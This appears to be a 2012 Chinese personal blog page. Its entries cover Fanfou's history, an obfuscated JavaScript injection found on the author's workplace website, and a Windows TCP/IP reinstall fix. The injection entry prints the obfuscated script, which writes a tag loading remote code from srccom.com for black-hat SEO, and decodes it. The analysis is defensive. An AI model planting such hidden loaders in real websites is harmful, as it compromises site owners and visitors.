映雪青帖 – 第 32 页

最近一段时间，饭否疑似有很多工作人员离职，小字报机器人、官方博客更新都停了，热词有一搭没一搭地更新，甚至连创始人王兴都出来辟谣说「难处确实有，但要是真过不去，我会提前吱声。不信谣，不传谣」，让人不得不觉得饭否的前途不可捉摸。趁着一部分资料仍然可查的时候，对饭否的过往做一个大致的理顺，也方便以后有人需要查证时，可以有个资料可翻。

以下文字中的图片，如非注明，均为本人自行截图保存。由于饭否的robots.txt文件限制，Web Archive没有抓取到任何页面，现已成为一大遗憾。

继续阅读 “Day 2503 饭否的故事” →

2012年12月8日

Day 2502 一年多了才看见的黑帽SEO

草草笔记 8

晚上无聊，点到自家单位的网站，等待加载的时候发现一个没见过的域名【srccom.com】，印象中自己好像没有加过类似的代码，于是开始倒查，发现调用的代码来自这个JS（由于问题已经处理，所以文件已经变成404）：

文件内容如下：

function CurrentXmlFrmFocus()
{
 	var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
 	var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
 	var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
 	var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
 	for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();

绕了个弯子，稍微分析一下的话，是向当前页写入以下一行代码：

<script src=”http://srccom.com/src.src” />

于是反向访问过去，冒出一大堆代码：

由于之前也被别人写入过SEO的代码，猜测可能是一样的东西，所以没有细看，选了一个关键字在网上搜了一下，果然是做黑帽SEO的淘宝客（介绍文章在这里）。

删掉对应页面中的调用代码，然后立即回到服务器上看修改时间，发现是去年11月写入的，想起那次所在的主机被人给旁注了，应该不是自己的问题，松口气。

2012年12月7日

最近一次更新过病毒库之后，许多办公室被修改过连接数限制的tcpip.sys被Avast认作了【Win32/Malware-gen】，搞笑的是来源进程是Avast自己的AvastSvc.exe，当然试图操作tcpip.sys的文件也会引起警告。此时如果将文件进行移入隔离区、删除等操作，理所当然地系统就会无法上网，特征为【本地连接】中连接信息显示为空，发送、接收字节持续为0，以及尝试修复的时候显示【获取该连接的TCP/IP属性失败】等。

经过搜索找到一种重装TCP/IP协议的做法，简述如下：

1、启动注册表编辑器，删除以下项：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock2

２、查找【C:\Windows\inf\nettcpip.inf】（如系统目录不同，请自行修改），找到以下内容：

Characteristics = 0xA0

将后面的0xA0修改为【0x80】。

３、打开【本地连接】属性，选择【安装】【协议】，点击【从磁盘安装】，定位到【C:\Windows\inf\nettcpip.inf】打开，然后安装提示【这个驱动没用进行数字签署】的【Microsoft TCP/IP协议】。

４、回到【本地连接】属性窗口，选择【TCP/IP协议】，点击【卸载】按钮将其删除，并按照提示重新启动计算机。

５、重启完成后，再次打开【本地连接】属性，重复第三步将TCP/IP协议安装回来即可。

P.S.建议不要直接使用netsh winsock reset，可能会引起更严重的问题。

2012年12月1日